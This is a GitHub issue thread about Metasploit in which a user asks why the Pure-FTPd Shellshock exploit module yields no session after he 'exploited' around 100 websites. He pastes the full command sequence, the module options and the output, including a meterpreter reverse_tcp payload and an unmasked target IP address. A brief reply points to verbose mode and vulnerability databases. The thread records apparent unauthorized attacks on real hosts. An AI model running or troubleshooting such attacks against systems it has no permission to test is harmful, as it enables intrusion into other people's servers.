Metasploit-framework: [ METASPLOIT FRAMEWORK TERMUX ] command stager progrrss didn't show session created in any websites

[XSecr3t]

Its ridiculous when i realize that every i exploit any websites, no session was created
Even stager progress says complete
Always no session was created
Again and again i visited rapid7 for more solution
But this time like "useless" cause i think i do not skip any step.

If this command below true or false please advice me
Almost frustated cause i always say no mistakes

My postgresql connected

msf > db_status
Connected to postgres
But when i try exploit something after 100 websites i exploit, no one websites are exploited
Always no session was created
When i
session -l
No session created.
Is there any mistakes?
Cause its my first exploit again after 2 month can't play metasploit, well postgresql trouble, but now fixed.

Is this command below any mistakes?

msf > use exploit/multi/ftp/pureftpd_bash_env_exec
msf exploit(multi/ftp/pureftpd_bash_env_exec) > show options

Module options (exploit/multi/ftp/pureftpd_bash_env_exec):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPATH /bin yes Target PATH for binaries used by the CmdStager
RPORT 21 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)

Exploit target:

Id Name

---

0 Linux x86

msf exploit(multi/ftp/pureftpd_bash_env_exec) > set RHOST 45.xx.x.xxx
RHOST => 45.xx.x.xxx
msf exploit(multi/ftp/pureftpd_bash_env_exec) > exploit

[] Started reverse TCP handler on 10.xxx.xxx.xx:4444
[] 45.xx.x.xxx:21 - Command Stager progress - 59.98% done (499/832 bytes)
[] 45.xx.x.xxx:21 - Command Stager progress - 100.60% done (837/832 bytes)
[] Exploit completed, but no session was created.

After normal exploit i try for using some payloads

msf exploit(multi/ftp/pureftpd_bash_env_exec) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(multi/ftp/pureftpd_bash_env_exec) > show options

Module options (exploit/multi/ftp/pureftpd_bash_env_exec):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 45.xxx.xx.xx yes The target address
RPATH /bin yes Target PATH for binaries used by the CmdStager
RPORT 21 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)

Payload options (linux/x86/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.xxx.xxx.xx yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:

Id Name

---

0 Linux x86

And the result still same after using payloads

msf exploit(multi/ftp/pureftpd_bash_env_exec) > exploit

[] Started reverse TCP handler on 10.250.112.98:4444
[] 45.64.1.223:21 - Command Stager progress - 59.98% done (499/832 bytes)
[] 45.64.1.223:21 - Command Stager progress - 100.60% done (837/832 bytes)
[] Exploit completed, but no session was created.
msf exploit(multi/ftp/pureftpd_bash_env_exec)

Thanks for replying my issues, it would help me for being true pentester.

[elogada]

Vulnerabilities are listed down so they may be patched. The point of listing them down in vulnerabiity databases such as the CVE and the NVD (and the creation of tools such as Metasploit) is to provide PoC's to have them fixed.

If you're really interested in becoming a true pentester, personally I'd suggest you do
set VERBOSE true
so you can see the workings of the exploits you're using. Also the Exploit Database would prove useful in knowing more about the modules of Metasploit.

Exploit Database
https://www.exploit-db.com/
What's a Zero-Day?
https://en.wikipedia.org/wiki/Zero-day_(computing)

[XSecr3t]

@elogada

Thank you its clear :D

closed